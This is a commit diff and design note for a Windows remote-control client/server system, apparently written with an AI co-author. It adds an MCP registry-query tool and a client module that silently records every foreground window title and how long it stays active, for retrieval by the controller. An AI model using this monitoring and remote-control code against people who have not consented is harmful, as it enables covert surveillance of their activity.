Feature: Add list_registry MCP tool

Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro

client/ActivityHistory.cpp

@@ -0,0 +1,126 @@
+// ActivityHistory.cpp: 客户端历史活动记录采集模块
+
+#include "stdafx.h"
+#include "ActivityHistory.h"
+#include "KernelManager.h"   // ActivityWindow
+
+ActivityHistory& ActivityHistory::Instance()
+{
+    static ActivityHistory inst;
+    return inst;
+}
+
+void ActivityHistory::Start()
+{
+    if (m_started.exchange(true))
+        return;
+    m_running = true;
+    m_thread = std::thread(&ActivityHistory::Loop, this);
+}
+
+void ActivityHistory::Stop()
+{
+    m_running = false;
+    if (m_thread.joinable())
+        m_thread.join();
+}
+
+std::string ActivityHistory::Dump() const
+{
+    std::lock_guard<std::mutex> lock(m_mutex);
+    std::string out;
+    // 当前进行中的窗口：若已持续达到阈值，作为最新一条返回
+    if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
+        out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
+    for (const auto& r : m_records)
+        out += r + "\n";
+    return out;
+}
+
+void ActivityHistory::Loop()
+{
+    // 空闲打断阈值：远大于 ACTIVITY_MIN_DWELL_SEC，避免“停在一个窗口上看几秒”被过早结账。
+    const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
+
+    ActivityWindow aw;
+    HWND lastHwnd = NULL;
+    std::string lastTitle;
+    std::string startTime;
+    int dwellSec = 0;
+
+    while (m_running) {
+        // 取前台窗口句柄 + 标题；空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
+        HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
+        std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
+
+        {
+            std::lock_guard<std::mutex> lock(m_mutex);
+
+            if (hwnd == NULL || title.empty()) {
+                // 空闲/锁定/无标题：结账上一个窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = NULL;
+                lastTitle.clear();
+                dwellSec = 0;
+            } else if (hwnd == lastHwnd) {
+                // 同一窗口：即使标题动态变化也连续累计，标题取最新值
+                ++dwellSec;
+                lastTitle = title;
+            } else {
+                // 窗口切换：结账上一个，开始累计新窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = hwnd;
+                lastTitle = title;
+                startTime = NowStr();
+                dwellSec = 1;
+            }
+
+            while (m_records.size() > ACTIVITY_HISTORY_MAX)
+                m_records.pop_back();
+
+            m_curTitle = lastTitle;
+            m_curStartTime = startTime;
+            m_curDwellSec = dwellSec;
+        }
+
+        Sleep(1000);
+    }
+}
+
+std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
+{
+    // 标题里的换行会破坏“每行一条”，做最小清洗
+    std::string t;
+    t.reserve(title.size());
+    for (char c : title) {
+        if (c == '\r' || c == '\n') c = ' ';
+        t += c;
+    }
+    return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
+}
+
+std::string ActivityHistory::FormatDuration(int sec)
+{
+    if (sec < 0) sec = 0;
+    if (sec < 60)
+        return std::to_string(sec) + "s";
+    if (sec < 3600) {
+        int m = sec / 60, s = sec % 60;
+        return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
+                 : std::to_string(m) + "m";
+    }
+    int h = sec / 3600, m = (sec % 3600) / 60;
+    return std::to_string(h) + "h" + std::to_string(m) + "m";
+}
+
+std::string ActivityHistory::NowStr()
+{
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char buf[32];
+    sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
+              st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
+    return buf;
+}

client/ActivityHistory.h

@@ -0,0 +1,54 @@
+#pragma once
+#include <string>
+#include <deque>
+#include <mutex>
+#include <thread>
+#include <atomic>
+
+// 历史活动记录：
+//  每条格式：[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
+//  倒序存储（最新在前）。后台线程每 1 秒采样一次前台窗口。
+#define ACTIVITY_MIN_DWELL_SEC  5    // 一闪而过阈值（秒）：驻留低于此值不记录
+#define ACTIVITY_IDLE_BREAK_SEC 300  // 空闲打断阈值（秒）：空闲超过此值才结账当前窗口
+                                     // 注意：与心跳“活动窗口”列的 6s 判定不同，这里要远大于 MIN_DWELL，
+                                     // 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
+#define ACTIVITY_HISTORY_MAX    500  // 内存保留的最大记录条数
+
+class ActivityHistory
+{
+public:
+    static ActivityHistory& Instance();
+
+    // 启动常驻采样线程（幂等，重复调用无副作用）
+    void Start();
+    // 停止采样线程
+    void Stop();
+
+    // 返回全部历史记录（最新在前，多行文本，每行一条）
+    std::string Dump() const;
+
+private:
+    ActivityHistory() = default;
+    ~ActivityHistory() { Stop(); }
+    ActivityHistory(const ActivityHistory&) = delete;
+    ActivityHistory& operator=(const ActivityHistory&) = delete;
+
+    void Loop();
+
+    // 拼一条记录字符串
+    static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
+    // 时长格式化：Ns / Nm / NmNs / NhNm
+    static std::string FormatDuration(int sec);
+    // 当前时间戳 "YYYY-MM-DD HH:MM:SS"
+    static std::string NowStr();
+
+    mutable std::mutex m_mutex;
+    std::deque<std::string> m_records;   // 已完成记录，最新在前
+    std::string m_curTitle;              // 当前进行中的窗口标题
+    std::string m_curStartTime;          // 当前窗口的起始时间
+    int         m_curDwellSec = 0;       // 当前窗口已连续活跃秒数
+
+    std::atomic<bool> m_running{ false };
+    std::atomic<bool> m_started{ false };
+    std::thread m_thread;
+};

client/Audio.cpp

@@ -74,6 +74,7 @@ CAudio::~CAudio()
         WAIT (m_hThreadCallBack, 30);
         if (m_hThreadCallBack)
             Mprintf("没有成功关闭waveInCallBack.\n");
+        Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
         TerminateThread(m_Thread, -999);
         m_Thread = NULL;
     }

client/ClientDll.cpp

@@ -3,6 +3,7 @@
 
 #include "stdafx.h"
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include <common/iniFile.h>
 #include <common/LANChecker.h>
 #include <common/VerifyV2.h>
@@ -588,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
     std::string ip = settings.ServerIP();
     int port = settings.ServerPort();
     Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
+    ActivityHistory::Instance().Start();
     if (!app.m_bShared) {
         auto now = time(0);
         valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());

client/ClientDll_vs2015.vcxproj

@@ -178,6 +178,7 @@
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="CaptureVideo.cpp" />
     <ClCompile Include="clang_rt_compat.c" />
     <ClCompile Include="ClientDll.cpp" />
@@ -225,6 +226,7 @@
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
     <ClInclude Include="Audio.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="Buffer.h" />
     <ClInclude Include="CaptureVideo.h" />

client/KernelManager.cpp

@@ -10,6 +10,7 @@
 #include <fstream>
 #include <corecrt_io.h>
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include "MemoryModule.h"
 #include "common/dllRunner.h"
 #include "server/2015Remote/pwd_gen.h"
@@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
         break;
     }
+    case COMMAND_QUERY_ACTIVITY: {
+        // 主连接一次性快照：直接 dump 历史活动并回传
+        std::string text = ActivityHistory::Instance().Dump();
+        std::vector<BYTE> pkt(1 + text.size());
+        pkt[0] = TOKEN_REPORT_ACTIVITY;
+        if (!text.empty())
+            memcpy(pkt.data() + 1, text.data(), text.size());
+        m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
+        break;
+    }
     case CMD_SET_GROUP: {
         std::string group = std::string((char*)szBuffer + 1);
         m_cfg->SetStr("settings", "group_name", group);

client/KernelManager.h

@@ -40,6 +40,24 @@ public:
         return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
     }
 
+    // 返回当前活跃窗口标题；若空闲（idle ≥ threshold_ms）或取不到标题则返回空串。
+    // 供历史活动采集使用，避免“判定活跃”与“取标题”之间的竞态窗口。
+    std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return std::string();
+        return GetActiveWindowTitle();
+    }
+
+    // 返回当前前台窗口句柄；空闲（idle ≥ threshold_ms）返回 NULL。
+    // 历史活动按窗口（HWND）而非标题字符串累计：标题动态变化时不会反复归零。
+    HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return NULL;
+        return GetForegroundWindow();
+    }
+
 private:
     std::string FormatMilliseconds(DWORD ms)
     {

client/Manager.cpp

@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
     HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
 
     if (!hInputDesktop) {
-        Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
+        // 限制失败日志频率：锁屏/无交互桌面/权限不足（如 ERROR_ACCESS_DENIED=5）时，
+        // 这些错误会随调用循环每秒触发、刷屏严重，这里最多每分钟记录一次。
+        DWORD err = GetLastError();  // 立即捕获 OpenInputDesktop 的错误，避免后续调用覆盖
+
+        static DWORD s_lastDesktopFailLog = 0;
+        DWORD now = GetTickCount();
+        bool logDue = (now - s_lastDesktopFailLog >= 60000);
+        if (logDue)
+            s_lastDesktopFailLog = now;
+
+        if (logDue)
+            Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
 
         HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
         if (hWinSta) {
             SetProcessWindowStation(hWinSta);
             hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
             if (!hInputDesktop) {
-                Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
+                err = GetLastError();
+                if (logDue)
+                    Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
                 hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
                 if (!hInputDesktop) {
-                    Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
+                    err = GetLastError();
+                    if (logDue)
+                        Mprintf("OpenDesktop Default failed: %d\n", err);
                 }
             }
         } else {
-            Mprintf("OpenWindowStation failed: %d\n", GetLastError());
+            err = GetLastError();
+            if (logDue)
+                Mprintf("OpenWindowStation failed: %d\n", err);
         }
     }
     return hInputDesktop;

client/RegisterManager.cpp

@@ -9,6 +9,14 @@
 
 #if ENABLE_REGISTRY
 
+// 与 RegisterOperation.cpp 的 REGMSG 同构（int count + DWORD size + DWORD valsize = 12 字节），
+// 此处仅用于构造"空结果包"（count=0），无需跨文件共享完整定义。
+struct REGMSG {
+    int   count;   //名字个数
+    DWORD size;    //名字大小
+    DWORD valsize; //值大小
+};
+
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
     if(szPath!=NULL) {
         Opt.SetPath(szPath);
     }
+    // 子键包（TOKEN_REG_PATH）：无子键时也回传空包，保证服务端（含 MCP 无头查询）
+    // 能确定性收齐 PATH+KEY 两包，无需靠超时猜测是否有第二包。
     char *szBuffer= Opt.FindPath();
     if(szBuffer!=NULL) {
         m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
         //目录下的目录
         LocalFree(szBuffer);
+    } else {
+        char empty[1 + sizeof(REGMSG)] = { 0 };
+        empty[0] = TOKEN_REG_PATH;
+        m_ClientObject->Send2Server(empty, sizeof(empty));
     }
+    // 值包（TOKEN_REG_KEY）：同上，无值时也回传空包。
     szBuffer = Opt.FindKey();
     if(szBuffer!=NULL) {
         //目录下的文件
         m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
         LocalFree(szBuffer);
+    } else {
+        char empty[1 + sizeof(REGMSG)] = { 0 };
+        empty[0] = TOKEN_REG_KEY;
+        m_ClientObject->Send2Server(empty, sizeof(empty));
     }
 }
 

client/RegisterOperation.cpp

@@ -21,10 +21,13 @@ enum MYKEY {
 
 
 enum KEYVALUE {
-    MREG_SZ,
+    MREG_SZ,         // REG_SZ
-    MREG_DWORD,
+    MREG_DWORD,      // REG_DWORD
-    MREG_BINARY,
+    MREG_BINARY,     // REG_BINARY
-    MREG_EXPAND_SZ
+    MREG_EXPAND_SZ,  // REG_EXPAND_SZ
+    MREG_MULTI_SZ,   // REG_MULTI_SZ
+    MREG_QWORD,      // REG_QWORD
+    MREG_NONE        // REG_NONE / 未知类型
 };
 
 struct REGMSG {
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
     char *szBuffer=NULL;
     HKEY		hKey;			//注册表返回句柄
     /*打开注册表 User  kdjfjkf\kdjfkdjf\  */
-    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
+    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
         DWORD dwIndex=0,NameCount,NameMaxLen;
         DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
         //这就是枚举了
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
             REGMSG msg;                     //数据头
             msg.size=KeySize;
             msg.count=KeyCount;
-            memcpy(szBuffer+1,(void*)&msg,Size);
+            memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
 
             char * szTemp=new char[KeySize];
             for(dwIndex=0; dwIndex<KeyCount; dwIndex++) {	//枚举项
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
 
     char *szBuffer=NULL;
     HKEY  hKey;			//注册表返回句柄
-    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
+    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
         DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
         DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
         //这就是枚举了
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
                 RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
                              NULL,&Type,szValueData,&DataSize);//读取键值
 
-                if(Type==REG_SZ) {
+                // 值类型映射：REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE，
-                    szTemp[0]=MREG_SZ;
+                // 未识别类型一律 MREG_NONE（避免误报为 REG_SZ）。
-                }
+                switch (Type) {
-                if(Type==REG_DWORD) {
+                case REG_SZ:        szTemp[0] = MREG_SZ;        break;
-                    szTemp[0]=MREG_DWORD;
+                case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
-                }
+                case REG_MULTI_SZ:  szTemp[0] = MREG_MULTI_SZ;  break;
-                if(Type==REG_BINARY) {
+                case REG_DWORD:     szTemp[0] = MREG_DWORD;     break;
-                    szTemp[0]=MREG_BINARY;
+                case REG_QWORD:     szTemp[0] = MREG_QWORD;     break;
-                }
+                case REG_BINARY:    szTemp[0] = MREG_BINARY;    break;
-                if(Type==REG_EXPAND_SZ) {
+                case REG_NONE:      szTemp[0] = MREG_NONE;      break;
-                    szTemp[0]=MREG_EXPAND_SZ;
+                default:            szTemp[0] = MREG_NONE;      break;
                 }
                 szTemp+=sizeof(BYTE);
                 strcpy(szTemp,szValueName);

client/ScreenManager.cpp

@@ -189,6 +189,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
     m_bIsWorking = FALSE;
     DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
     if (s == WAIT_TIMEOUT) {
+        Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
         TerminateThread(m_hWorkThread, 0x20260215);
     }
 

client/ShellManager.cpp

@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
     m_bStarting = FALSE;
 
     TerminateProcess(m_hShellProcessHandle, 0);   //结束我们自己创建的Cmd进程
+    Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
     TerminateThread(m_hShellThreadHandle, 0);     //结束我们自己创建的Cmd线程
     Sleep(100);
 

client/ghost_vs2015.vcxproj

@@ -185,6 +185,7 @@
     <ClCompile Include="..\common\ikcp.c" />
     <ClCompile Include="..\common\zstd_wrapper.c" />
     <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
@@ -234,6 +235,7 @@
     <ClInclude Include="..\common\wallet.h" />
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="Audio.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="auto_start.h" />

client/main.c

@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
         param.User = g_Server.pwdHash;
         threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
     } else if (fdwReason == DLL_PROCESS_DETACH) {
-        if (threadHandle) TerminateThread(threadHandle, 0x20250619);
+        if (threadHandle) {
+            // DLL 卸载时强杀线程前记录日志，便于定位死锁。此处 Mprintf 在 release 被定义为空，
+            // 且 DETACH 阶段 CRT 可能已不可用，故用内核 API OutputDebugStringA 输出。
+            OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
+            TerminateThread(threadHandle, 0x20250619);
+        }
     }
     return TRUE;
 }

common/commands.h

@@ -317,6 +317,8 @@ enum {
     TOKEN_REPORT_LOG = 156,
     COMMAND_FORBIDDEN = 157,
     CMD_CUSTOM_CURSOR = 158,
+    COMMAND_QUERY_ACTIVITY = 159,   // 服务端 → 客户端：索取历史活动
+    TOKEN_REPORT_ACTIVITY = 160,    // 客户端 → 服务端：上报历史活动
     
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表

common/logger.h

@@ -152,6 +152,12 @@ public:
                                id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
                                id + "[" + timestamp + "] "  + message;
 
+        // 方案B：在源头统一保证每条日志以单个 '\n' 结尾，文件与内存 ring buffer
+        // 共用同一份文本；写文件时不再额外追加换行，内存导出直接拼接即可正确分行。
+        while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
+            logEntry.pop_back();
+        logEntry += '\n';
+
         // Always record to in-memory ring buffer regardless of enable flag.
         {
             std::lock_guard<std::mutex> lock(m_memMutex);
@@ -305,7 +311,7 @@ private:
         std::lock_guard<std::mutex> lock(fileMutex);
         std::ofstream logFile(logFileName, std::ios::app);
         if (logFile.is_open()) {
-            logFile << logEntry << std::endl;
+            logFile << logEntry;  // logEntry 已在 log() 中以单个 '\n' 结尾
         }
     }
 

docs/Mcp_Design.md

@@ -0,0 +1,443 @@
+# YAMA 服务端 MCP 支持方案
+
+> 版本：1.0
+> 状态：Final（定稿）
+> 适用范围：`server/2015Remote/`（C++/MFC 服务端，生产主流）
+
+---
+
+## 1. 背景与目标
+
+### 1.1 背景
+
+MCP（Model Context Protocol）是 Anthropic 提出的开放协议，让 AI 助手（Claude Code、Claude Desktop 等）通过标准化的工具调用接口访问外部系统的能力。
+
+YAMA 服务端维护了「在线主机列表」这一核心数据，如果能通过 MCP 暴露出去，用户就能在 Claude Code 里直接问「现在有多少台机器在线？」「列出所有在线的 Windows 主机」等，由 AI 调用工具获取实时数据。
+
+### 1.2 本期范围（MVP）
+
+**只跑通 MCP，只实现一个工具**，把可扩展架构搭起来：
+
+- 传输方式：Streamable HTTP（`POST /mcp`，JSON-RPC 2.0 over HTTP）
+- 工具数量：1 个 —— `list_online_hosts`（获取在线主机列表）
+- 暴露范围：启用开关（默认关闭，经「扩展 → MCP设置」对话框开启）+ 绑定地址可配置（默认 `127.0.0.1` 仅本机）+ token 认证（env / THIS_CFG / 随机）
+- 后续：逐步添加工具（进程列表、命令执行、屏幕截图等），架构不动
+
+### 1.3 非目标（明确不做）
+
+- 不做 SSE 服务器推送（本期工具调用是 request/response 即可）
+- 不做多用户/角色体系（复用现有 WebService 认证或静态 token）
+- 不做写操作工具（操控主机的工具属于后续阶段，需单独评审安全边界）
+- 不碰现有 Web 控制台的 WebSocket 服务
+
+---
+
+## 2. 现状分析
+
+C++ 服务端已有大量可直接复用的资产，MCP 的落地成本因此大幅降低。
+
+| 现成资产 | 位置 | 在 MCP 中的角色 |
+|---|---|---|
+| HTTP 服务器 | `httplib.h`（header-only，`file_server.h:34` 已用） | MCP 的 HTTP 传输层 |
+| JSON 库 | `jsoncpp/json.h`（`WebService.cpp` 已用） | JSON-RPC 编解码 |
+| Token 认证 | `WebServiceAuth.h`（`GenerateToken` / `ValidateToken` / `ComputeSHA256`） | 可选升级路径；MVP 用简单静态 token 比对（见 §3.5） |
+| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()`（`WebService.cpp:1506`） | **工具 `list_online_hosts` 的核心逻辑** |
+| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList`（`2015RemoteDlg.h:345`，`m_cs` 保护）+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
+| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
+
+### 2.1 关键结论
+
+- **HTTP、JSON、认证、主机列表 JSON 全部现成**，MCP 侧不需要重新造轮子。
+- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**，因为 C++ 没有官方 MCP SDK（官方仅有 TS/Python/Java/Kotlin/C#/Go）。
+
+### 2.2 `BuildDeviceListJson` 现状
+
+`WebService.cpp:1506` 的 `CWebService::BuildDeviceListJson(const std::string& username)` 已实现：
+
+- 遍历 `m_pParentDlg->m_HostList`，过滤 `ctx->IsLogin()`
+- 输出字段：`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
+- 已处理 GBK/UTF-8 编码分叉（`activeWindow` 字段按客户端能力位选择编码页，见 `WebService.cpp:1581` 附近的 `GetClientEncoding`）
+
+**该方法是 `private`**（`WebService.h:160`，位于 private 段）。MCP 侧需通过公开入口复用（见 §3.4）。
+
+---
+
+## 3. 方案设计
+
+### 3.1 总体架构
+
+```
+2015Remote.exe（MFC 服务端进程）
+├─ IOCP TCP 服务（被控端连接，现有）
+├─ WebService（ws::Server，Web 控制台，现有，8080）
+└─ McpServer（httplib，新增，默认禁用，经「MCP设置」开启后监听 127.0.0.1:6544）
+      POST /mcp → JSON-RPC 分发
+                    ├─ initialize
+                    ├─ tools/list
+                    └─ tools/call
+                          └─ list_online_hosts → 复用 BuildHostJson（公共函数，§3.4）
+```
+
+**核心决策：独立起一个 httplib server，不挂到现有 `ws::Server`。**
+
+理由：
+- 现有 `ws::Server` 的 `HttpHandler` 只有 `path` 参数、无 POST body（`SimpleWebSocket.h:345`），强挂 MCP 需改动其底层，侵入大、有回归风险。
+- 独立 server 零耦合、零风险，且天然满足「仅 127.0.0.1」的绑定需求。
+
+### 3.2 新增文件清单
+
+| 文件 | 职责 | 估算量 |
+|---|---|---|
+| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
+| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层：`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
+| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
+| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框（启用/端口/绑定/token + 重启提醒） | ~150 行 |
+| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线（`ID_MCP_SETTINGS` → `OnMcpSettings`） | ~30 行 |
+| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
+
+> 头文件/实现可合并精简，实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态，文件拆分仅为可读性。
+
+### 3.3 协议层设计（JSON-RPC 2.0）
+
+MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法：
+
+#### 3.3.1 `initialize`（握手）
+
+请求：
+```json
+{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
+```
+
+响应：
+```json
+{"jsonrpc":"2.0","id":1,"result":{
+  "protocolVersion":"2025-06-18",
+  "capabilities":{"tools":{}},
+  "serverInfo":{"name":"yama","version":"<VERSION_STR>"}
+}}
+```
+
+#### 3.3.2 `tools/list`
+
+请求：`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
+
+响应：
+```json
+{"jsonrpc":"2.0","id":2,"result":{"tools":[{
+  "name":"list_online_hosts",
+  "description":"获取当前所有在线主机的列表，包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
+  "inputSchema":{"type":"object","properties":{},"required":[]},
+  "outputSchema":{
+    "type":"object",
+    "properties":{
+      "hosts":{
+        "type":"array",
+        "items":{
+          "type":"object",
+          "properties":{
+            "id":{"type":"string"},
+            "name":{"type":"string"},
+            "remark":{"type":"string"},
+            "ip":{"type":"string"},
+            "os":{"type":"string"},
+            "location":{"type":"string"},
+            "rtt":{"type":"string"},
+            "version":{"type":"string"},
+            "activeWindow":{"type":"string"},
+            "online":{"type":"boolean"},
+            "group":{"type":"string"},
+            "screen":{"type":"string"},
+            "clientType":{"type":"string"}
+          }
+        }
+      }
+    },
+    "required":["hosts"]
+  }
+}]}}
+```
+
+#### 3.3.3 `tools/call`
+
+请求：
+```json
+{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
+```
+
+响应（结构化输出：`structuredContent` 承载主机数组，`content` 附带可读摘要）：
+```json
+{"jsonrpc":"2.0","id":3,"result":{
+  "structuredContent":{
+    "hosts":[
+      {"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
+       "os":"Windows 10","location":"上海市","rtt":"12","version":"...",
+       "activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
+    ]
+  },
+  "content":[{"type":"text","text":"共 1 台主机在线。"}],
+  "isError":false
+}}
+```
+
+#### 3.3.4 可选实现
+
+- `ping`：返回空 result（便于健康检查）
+- `notifications/initialized`：客户端通知，可忽略
+
+#### 3.3.5 错误响应（JSON-RPC 2.0 标准）
+
+协议层必须处理以下错误，返回标准 `error` 结构（`id` 回填请求 id）：
+
+| 场景 | code | message |
+|---|---|---|
+| 请求体不是合法 JSON | `-32700` | Parse error |
+| 请求结构不合法（缺 jsonrpc/method 等） | `-32600` | Invalid Request |
+| 方法未实现 | `-32601` | Method not found |
+| 参数非法 | `-32602` | Invalid params |
+| 内部错误 | `-32603` | Internal error |
+
+示例（方法未实现）：
+```json
+{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
+```
+
+#### 3.3.6 传输层约定（Streamable HTTP 最小子集）
+
+- 客户端 `POST /mcp`，请求头 `Content-Type: application/json`、`Accept: application/json, text/event-stream`。
+- 服务端返回 `Content-Type: application/json`（MVP 工具调用为 request/response，无需 SSE 流式）。
+- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理；MVP 单会话可省略，实现时对照最新 MCP 规范确认。
